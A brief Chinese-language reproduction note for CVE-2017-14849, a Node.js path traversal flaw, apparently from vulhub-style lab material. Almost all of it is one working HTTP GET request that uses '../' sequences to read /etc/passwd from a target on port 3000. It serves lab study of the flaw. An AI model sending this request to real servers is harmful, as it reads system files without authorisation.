漏洞详细

有关详细请看：https://vulhub.org/#/environments/node/CVE-2017-14849/

漏洞复现

发送以下数据包，即可读取文件

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close